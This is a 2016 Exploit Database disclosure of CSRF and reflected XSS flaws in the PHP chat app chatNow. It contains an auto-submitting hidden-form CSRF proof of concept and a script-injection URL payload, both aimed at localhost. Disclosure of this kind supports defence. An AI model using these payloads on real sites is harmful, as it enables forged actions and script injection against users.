chatNow – Multiple Vulnerabilities

• Exploit Database
• 15 阅读

• 作者： HaHwul
  日期： 2016-08-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40293/

• # Exploit Title: chatNow - Multiple Vulnerabilities
  # Date: 2016-08-23
  # Exploit Author: HaHwul
  # Exploit Author Blog: www.hahwul.com
  # Vendor Homepage: http://chatnow.thiagosf.net/
  # Software Link: https://github.com/thiagosf/chatNow/archive/master.zip
  # Version: Latest commit
  # Tested on: Debian [wheezy]
  
  1. CSRF(Send MSG)
  2. Reflected XSS
  
  ========== CSRF VULNERABILITY
  ### Vulnerability
  'send_message.php' is not check the csrf token or referer header.
  It is possible CSRF Attack.
  
  ### Attack Code
  <form name="csrf_poc" action="http://127.0.0.1/vul_test/chatNow/send_message.php" method="POST">
  <input type="hidden" name="to_user" value="0">
  <input type="hidden" name="scroll_page" value="on">
  <input type="hidden" name="id_user" value="2">
  <input type="hidden" name="message" value="CSRF">
  <input type="hidden" name="reserved" value="false">
  
  <input type="submit" value="Attack!">
  </form>
  
  <script type="text/javascript">document.forms.csrf_poc.submit();</script>
  
  
  ========== XSS VULNERABILITY
  ### Vulnerability
  This page url is reflected data on page
  It is vulnerable page because not filtered reflected url
  		
  ### Attack code
  http://127.0.0.1/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1
  
  ### Response
  <div id="box_login">
  		<h2>chatNow</h2>
  	<form action="/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1" method="post">
  		<div class="block_field">
  			<label for="user">Nick</label>
  			<input type="text" name="user" id="user" maxlength="20" /> 
  		</div>